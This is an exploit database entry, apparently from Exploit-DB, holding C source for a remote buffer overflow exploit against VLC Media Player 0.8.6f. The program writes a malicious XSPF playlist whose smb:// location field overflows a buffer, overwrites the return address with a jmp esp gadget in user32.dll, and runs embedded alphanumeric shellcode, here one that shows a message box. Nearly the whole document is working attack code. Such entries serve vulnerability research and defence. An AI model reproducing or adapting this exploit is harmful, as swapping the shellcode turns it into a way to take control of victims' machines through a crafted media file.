VideoLAN VLC Media Player 0.8.6f - 'smb://' URI Handling Remote Buffer Overflow

Author: Pankaj Kohli
type: remote
platform: windows
port: 
date_added: 2009-07-29  
date_updated: 2016-11-23  
verified: 1  
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application_url: http://www.exploit-db.comvlc086f.exe  

raw file: 9303.c  

/*  VLC Media Player 'smb://' URI Handling Remote Buffer Overflow Vulnerability Exploit
 *  Reference: https://www.securityfocus.com/bid/35500
 *
 *  Tested on VLC media player 0.8.6f on WinXP SP3
 *
 *  Coded by Pankaj Kohli
 *  http://www.pank4j.com
 *
 */

#include <stdio.h>
#include <string.h>

// ASCII shellcode (Display a message box & exit)
unsigned char shell[] = "TY777777777777777777777777777777777QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIXkweaHrJwpf02pQzePMhyzWwSuQnioXPOHuBxKnaQlkOjpJHIvKOYokObPPwRN1uqt5PA";

long jmp = 0x7E485233;  // jmp esp (user32.dll)

int main(int argc, char **argv) {
    char buff[512], *p;
    FILE *fp;
    int i;
    long *ptr;

    fp = fopen("sploit.xspf", "wb");
    fprintf(fp, "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n");
    fprintf(fp, "<playlist version=\"1\" xmlns=\"http://xspf.org/ns/0/\" xmlns:vlc=\"http://www.videolan.org/vlc/playlist/ns/0/\">\n");
    fprintf(fp, "\t<title>Playlist</title>\n");
    fprintf(fp, "\t<trackList>\n");
    fprintf(fp, "\t\t<track>\n");
    fprintf(fp, "\t\t\t<location>smb://example.com@www.example.com/foo/#{");

    printf("[*] Creating buffer\n");
    for(i=0; i<300; i++) {
        buff[i] = 'a' + ((i/4)%26);
    }
    ptr = (long *) (buff + 96);
    *ptr = jmp;
    for(i=0; i<strlen((const char *) shell); i++) {
        buff[i+100] = shell[i];
    }
    buff[300] = 0;
    fprintf(fp, "%s", buff);

    fprintf(fp, "}</location>\n");
    fprintf(fp, "\t\t\t<extension application=\"http://www.videolan.org/vlc/playlist/0\">\n");
    fprintf(fp, "\t\t\t\t<vlc:id>0</vlc:id>\n");
    fprintf(fp, "\t\t\t</extension>\n");
    fprintf(fp, "\t\t</track>\n");
    fprintf(fp, "\t</trackList>\n");
    fprintf(fp, "</playlist>\n");
    fclose(fp);

    printf("[*] Exploit file written to sploit.xspf\n");

    return 0;
}

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